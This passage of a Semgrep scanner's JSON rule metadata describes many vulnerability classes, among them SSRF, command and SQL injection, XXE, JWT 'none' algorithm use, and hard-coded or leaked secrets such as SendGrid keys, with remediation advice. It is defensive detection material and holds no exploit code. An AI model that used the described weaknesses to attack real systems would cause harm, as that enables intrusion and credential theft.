[https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","id":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","name":"python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-boto3.tainted-django-http-request-boto3"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/java.jjwt.security.jwt-none-alg.jjwt-none-alg","id":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","name":"java.jjwt.security.jwt-none-alg.jjwt-none-alg","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.jjwt.security.jwt-none-alg.jjwt-none-alg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"help":{"markdown":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/default_routes/index.markdown)\n","text":"Default routes are enabled in this routes file. This means any public method on a controller can be called as an action. It is very easy to accidentally expose a method you didn't mean to. Instead, remove this line and explicitly include all routes you intend external users to follow."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","id":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","name":"ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-default-routes.avoid-default-routes"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"help":{"markdown":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop)\n - [https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n","text":"Possibility of prototype polluting function detected. By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf). Possible mitigations might be: freezing the object prototype, using an object without prototypes (via Object.create(null) ), blocking modifications of attributes that resolve to object prototype, using Map instead of object."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","id":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","name":"javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.prototype-pollution.prototype-pollution-loop.prototype-pollution-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","id":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","name":"ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-hardcoded-secret.ruby-cassandra-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"help":{"markdown":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.no-send.bad-send)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_send.rb)\n - [https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html](https://the.igreque.info/posts/2016/01-object-send-considered-harmful-en.html)\n","text":"Checks for unsafe use of Object#send, try, __send__, and public_send. These only account for unsafe use of a method, not target. This can lead to arbitrary calling of exit, along with arbitrary code execution. Please be sure to sanitize input in order to avoid this."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.no-send.bad-send","id":"ruby.lang.security.no-send.bad-send","name":"ruby.lang.security.no-send.bad-send","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.no-send.bad-send"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"help":{"markdown":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure)\n - [https://golang.org/doc/go1.14#crypto/tls](https://golang.org/doc/go1.14#crypto/tls)\n - [https://www.us-cert.gov/ncas/alerts/TA14-290A](https://www.us-cert.gov/ncas/alerts/TA14-290A)\n","text":"SSLv3 is insecure because it has known vulnerabilities. Starting with go1.14, SSLv3 will be removed. Instead, use 'tls.VersionTLS13'."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","id":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","name":"go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.ssl.ssl-v3-is-insecure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"If unverified user data can reach the XML Parser it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.node-expat.security.audit.expat-xxe.expat-xxe","id":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","name":"javascript.node-expat.security.audit.expat-xxe.expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-expat.security.audit.expat-xxe.expat-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"help":{"markdown":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled)\n - [https://stackoverflow.com/a/7442668](https://stackoverflow.com/a/7442668)\n","text":"Detected an element with disabled HTML escaping. If external data can reach this, this is a cross-site scripting (XSS) vulnerability. Ensure no external data can reach here, or remove 'escape=false' from this element."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","id":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","name":"java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled","properties":{"precision":"very-high","tags":["CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences","LOW CONFIDENCE","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xss.jsf.autoescape-disabled.autoescape-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"help":{"markdown":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials)\n - [https://cwe.mitre.org/data/definitions/522.html](https://cwe.mitre.org/data/definitions/522.html)\n","text":"Password is exposed through JWT token payload. This is not encrypted and the password could be compromised. Do not store passwords in JWT tokens."},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","id":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","name":"ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-exposed-credentials.ruby-jwt-exposed-credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","id":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","name":"python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-if-array.tainted-os-command-stdlib-django-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","id":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","name":"ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-uri.ruby-redis-hardcoded-uri"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"help":{"markdown":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl)\n - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/security-best-practices.html)\n","text":"Bucket $X is not set to enforce encryption-in-transit, if not explictly setting this on the bucket policy - the property \"enforceSSL\" should be set to true"},"helpUri":"https://semgrep.dev/r/typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","id":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","name":"typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.aws-cdk.security.audit.awscdk-bucket-enforcessl.aws-cdk-bucket-enforcessl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","id":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","name":"python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib.tainted-os-command-stdlib"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.oracleconnectionstringbuilder-hardcoded-secret.oracleconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","id":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","name":"csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.entityframework-taint.entityframework-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SendGrid API Key detected"},"help":{"markdown":"SendGrid API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SendGrid API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","id":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","name":"generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-sendgrid-api-key.detected-sendgrid-api-key"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"help":{"markdown":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MSC51-CPP.+Ensure+your+random+number+generator+is+properly+seeded)\n","text":"The seed value of a Pseudo Random Number Generator (PRNG) is directly derived from the time, which is highly predictable. Do not use values from this PRNG to derive a secrets, such as passwords or cryptographic keys."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","id":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","name":"cpp.lang.security.rng.predictable-seed-rng-time.predictable-seed-rng-time","properties":{"precision":"very-high","tags":["CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: 